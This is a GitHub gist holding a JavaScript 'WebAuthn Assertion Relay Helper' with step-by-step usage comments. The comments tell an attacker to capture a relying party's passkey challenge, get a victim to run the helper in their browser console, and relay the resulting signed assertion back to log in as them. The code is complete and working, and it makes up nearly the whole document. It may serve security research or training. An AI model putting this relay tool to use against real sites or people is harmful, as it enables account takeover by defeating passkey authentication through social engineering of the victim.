Skip to content

Instantly share code, notes, and snippets.

@joswr1ght
Created August 25, 2025 17:59
Show Gist options
  • Select an option

  • Save joswr1ght/ec3f73f8745916661e2432b50ae2ead7 to your computer and use it in GitHub Desktop.

Select an option

Save joswr1ght/ec3f73f8745916661e2432b50ae2ead7 to your computer and use it in GitHub Desktop.
Relay WebAuthn/Passkey Helper Code
/*
* WebAuthn Assertion Relay Helper
*
* Usage:
* 1. From your attacker session at https://target-rp.tgt/login,
* capture the "publicKey" JSON challenge the RP sends.
* 2. Send that JSON blob (as text) to the victim browser console as publicKeyJSON.
* 3. Paste this helper, then call: getAssertion(publicKeyJSON).
* 4. Copy the printed output (JSON with base64url fields) back
* to your attacker machine.
* 5. POST it to the RP’s /assertion endpoint using the same session
* that issued the challenge.
*
* CAUTION: This only relays signatures. It does NOT extract private keys.
*/
// ---- Base64url helpers (binary <-> string) ----
const b64u = {
enc: buf => btoa(String.fromCharCode(...new Uint8Array(buf)))
.replace(/\+/g,'-').replace(/\//g,'_').replace(/=+$/,''),
dec: str => Uint8Array.from(atob(str.replace(/-/g,'+').replace(/_/g,'/')),
c => c.charCodeAt(0))
};
// ---- Inflate RP-supplied publicKey options (from attacker session) ----
function inflatePublicKeyOptions(pkJson) {
const pk = structuredClone(pkJson);
// Convert challenge
pk.challenge = b64u.dec(pk.challenge);
// Convert allowCredentials IDs if present
if (pk.allowCredentials) {
pk.allowCredentials = pk.allowCredentials.map(c => ({
...c,
id: b64u.dec(c.id)
}));
}
return pk;
}
// ---- Flatten a credential to JSON-safe output ----
function flattenAssertion(cred) {
const resp = cred.response;
return {
id: cred.id,
rawId: b64u.enc(cred.rawId),
type: cred.type,
response: {
authenticatorData: b64u.enc(resp.authenticatorData),
clientDataJSON: b64u.enc(resp.clientDataJSON),
signature: b64u.enc(resp.signature),
userHandle: resp.userHandle ? b64u.enc(resp.userHandle) : null
},
clientExtensionResults: cred.getClientExtensionResults?.() || {}
};
}
// ---- Main entry point: call this with your captured challenge ----
async function getAssertion(publicKeyJSON) {
try {
const options = inflatePublicKeyOptions(publicKeyJSON);
console.log("[*] Requesting assertion with options:", options);
const cred = await navigator.credentials.get({ publicKey: options });
const flat = flattenAssertion(cred);
console.log("[*] Assertion ready. Copy this JSON back to your relay:");
console.log(JSON.stringify(flat, null, 2));
return flat;
} catch (err) {
console.error("[!] Assertion failed:", err);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment